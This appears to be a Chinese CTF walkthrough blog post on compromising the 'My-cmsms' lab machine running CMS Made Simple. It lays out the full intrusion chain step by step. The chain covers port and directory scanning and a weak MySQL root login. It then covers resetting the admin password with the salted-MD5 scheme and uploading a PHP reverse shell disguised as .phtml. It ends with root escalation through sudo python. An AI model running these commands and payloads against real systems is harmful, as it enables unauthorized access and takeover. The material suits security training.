• My-cmsms 靶机


    0x01信息收集

    nmap -sV 10.0.2.5 //扫描目标端口信息

    22端口存在 ssh服务

    80端口存在 http服务

    3306端口存在mysql服务。

    whatweb http://10.0.2.5/ //获取目标80端口网页的信息

    目标网站使用了 Apache 2.4.38

    CMS是CMS-Made-Simple

    searchsploit CMS Made Simple //检索该CMS的历史漏洞

    0x02端口测试

    22端口

    可以进行ssh弱口令爆破

    或者进行版本号搜索历史漏洞。

    80端口

    dirb http://10.0.2.5 //扫描目录

    发现了后台登陆页面

    http://10.0.2.5/admin/login.php

    tips:针对登录框这里,我们可以测试弱口令,sql注入,万能密码,以及js泄露。

    这里还存在个忘记密码的功能点,尝试测试,发现页面返回信息为空

    3306端口

    进行弱口令爆破尝试,发现存在弱口令账户密码 root root

    tips:当我们拥有了数据库权限的时候,可以尝试例如 udf提权,写入shell,或者通过修改数据来进行后台。

    show variables like "secure_file_priv"; //

    secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

    当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

    当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

    这里说明了导入数据(写入shell)只能在 /mysql-files这个目录,也间接证明了无法进行写入shell。

    1. show databases; //查询所有数据库
    2. use cmsms_db//进行 cmsms_db这个数据库
    3. show tables;//查询所有数据表
    4. select * from cms_users;//查询 cms_users这张表的内容

    admin/fb67c6d24e756229aab021cea7605fb3

    获得admin和他密码的加密字段。

    通过hashid 来判断加密字段的加密方式

    无法解密,通过网上的md5解密平台也无法解密

    不过按照密文的格式,大概率是md5加密,那么我们可以进行密码的修改

    将123456的md5加密后的字段,写入数据库当中。

    UPDATE cms_users SET password='e10adc3949ba59abbe56e057f20f883e' WHERE username='admin'

    我们在返回后台登陆页面进行登陆,发现依然登陆不了。

    0x03代码审计

    这里,我们通过网上开源的cms源码进行审计。

    WebSVN - cmsmadesimple - Rev 12849 - ///下载源码

    然后找到admin/login.php

    这里进行了账户和密码的判断,如果存在,则保存了这个状态

    $login_ops->save_authentication($user);

    那么我们可以查看下LoadUserByUsername()这个函数

    1. function LoadUserByUsername($username, $password = '', $activeonly = true, $adminaccessonly = false)
    2. {
    3. // note: does not use cache
    4. $result = null;
    5. $gCms = CmsApp::get_instance();
    6. $db = $gCms->GetDb();
    7. $params = array();
    8. $where = array();
    9. $joins = array();
    10. $query = "SELECT u.user_id FROM ".CMS_DB_PREFIX."users u";
    11. $where[] = 'username = ?';
    12. $params[] = $username;
    13. if ($password != '') {
    14. $where[] = 'password = ?';
    15. $params[] = md5(get_site_preference('sitemask','').$password);
    16. }
    17. if ($activeonly == true) {
    18. $joins[] = CMS_DB_PREFIX."user_groups ug ON u.user_id = ug.user_id";
    19. $where[] = "u.active = 1";
    20. }
    21. if ($adminaccessonly == true) {
    22. $where[] = "admin_access = 1";
    23. }
    24. if( !empty($joins) ) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ',$joins);
    25. if( !empty($where) ) $query .= ' WHERE '.implode(' AND ',$where);
    26. $id = $db->GetOne($query,$params);
    27. if( $id ) $result = self::LoadUserByID($id);
    28. return $result;
    29. }

    可以看出,确实是使用md5加密的 ,不过这里有个 get_site_preference('sitemask',''),可以看出应该是拼接了一个字段,然后在进行md5加密。

    1. function get_site_preference($prefname, $defaultvalue = '')
    2. {
    3. return cms_siteprefs::get($prefname,$defaultvalue);
    4. }

    可以看出,是调用了cms_siteprefs这个类的get方法

    1. public static function get($key,$dflt = '')
    2. {
    3. $prefs = global_cache::get(__CLASS__);
    4. if( isset($prefs[$key]) ) return $prefs[$key];
    5. return $dflt;
    6. }

    首先他get了这个类本身,如果key这个参数不为空的话,就通过$key去$prefs拿,而$prefs则是去global_cache的缓存中去拿的,所有去看看这个类初始化时候的动作

    建立时调用了 read 方法,进 read 查看

    1. public static function setup()
    2. {
    3. $obj = new \CMSMS\internal\global_cachable(__CLASS__,function(){
    4. return self::_read();
    5. });
    6. global_cache::add_cachable($obj);
    7. }
    8. /**
    9. * @ignore
    10. * @internal
    11. */
    12. private static function _read()
    13. {
    14. $db = CmsApp::get_instance()->GetDb();
    15. if( !$db ) return;
    16. $query = 'SELECT sitepref_name,sitepref_value FROM '.CMS_DB_PREFIX.'siteprefs';
    17. $dbr = $db->GetArray($query);
    18. if( is_array($dbr) ) {
    19. $_prefs = array();
    20. for( $i = 0, $n = count($dbr); $i < $n; $i++ ) {
    21. $row = $dbr[$i];
    22. $_prefs[$row['sitepref_name']] = $row['sitepref_value'];
    23. }
    24. return $_prefs;
    25. }
    26. }

    $query = 'SELECT sitepref_name,sitepref_value FROM '.CMS_DB_PREFIX.'siteprefs';//查询CMS_DB_PREFIX这个表的siteprefs的值。

    通过 sql 语句查出了数据库中的两个值,一个值做为键,一个值作为值。

    接合之前代码看到的拼接,我们就可以知道,是通过将siteprefs的值和用户传输的密码进行拼接后进行md5加密,然后在和数据库里面的密码进行对比。

    SELECT sitepref_value FROM cms_siteprefs where sitepref_name='sitemask';

    那么这时候我们在生成新的密码a235561351813137123456

    echo -n  "a235561351813137123456" |md5sum

    26abf34a26d74ef992a647963895b726

    然后再写入数据库

    UPDATE cms_users SET password='26abf34a26d74ef992a647963895b726' WHERE username='admin';

    登陆成功

    当我们进入后台的时候,就可以进行功能点的测试,比如xss,mysql,命令执行等。这里我们寻找文件上传的地方,将shell上传。

    0x04 Getshell

    先再网上随便找个php木马(当然也可以通过一句话木马,哥斯拉等工具)

    php-reverse-shell/php-reverse-shell.php at master · pentestmonkey/php-reverse-shell · GitHub

    将ip和端口修改成kali虚拟机的地址,然后尝试上传。

    通过burp Suite发现,上传后会失败

    说明做了限制,可能是白名单也可能是黑名单。这里经过测试(例如PHP5,PHP4,pHp等骚姿势),发现phtml可以上传。

    上传成功后尝试连接

    nc -lvvp 4444

    成功连接。

    0x05 提权

    tips:linux权限提升的话,主要看的是suid提权,内核漏洞提权,定时任务提权等,也可以利用cs msf之类的自带的提权,或者一些提权的工具脚本,例如(linux-exploit-suggester linux-exploit-suggester2),这里主要以思路为主,所以就不直接上工具了。

    尝试suid提权

    find / -prem -u=s -type f 2>/dev/null

    GTFOBins 这个可以查看那些是具有suid提权的参数。

    发现并没有什么能提权的参数。

    这里已经没什么思路了,通过到处翻文件目录,查看隐藏文件,终于在/var/www/html/admin下面看到了一个奇怪的东西

    cat .htaccess

    看着像base64 尝试解下

    最后经过base64加base32解密,得到了一个账户密码,尝试登陆

    su armour

    登陆成功后 sudo -l 查看下

    发现python是具备suid提权的。

    sudo python -c 'import os; os.system("/bin/sh")'

    提权成功!

  • 相关阅读:
    项目实战——匹配系统(上)
    Vue学习笔记
    你把 vite打包 玩明白
    Es6重点总结
    Linux安装docker
    pycharm安装第三方库
    JumpServer未授权访问漏洞 CVE-2023-42442
    专访句子互动CMO张佳:私域运营是一种更高效的用户触达渠道
    使用requests库下载文件的技术解析
    [含lw+源码等]SSM房屋租赁系统|房屋出租|房产中介[包运行成功]
  • 原文地址:https://blog.csdn.net/hesysd/article/details/127753704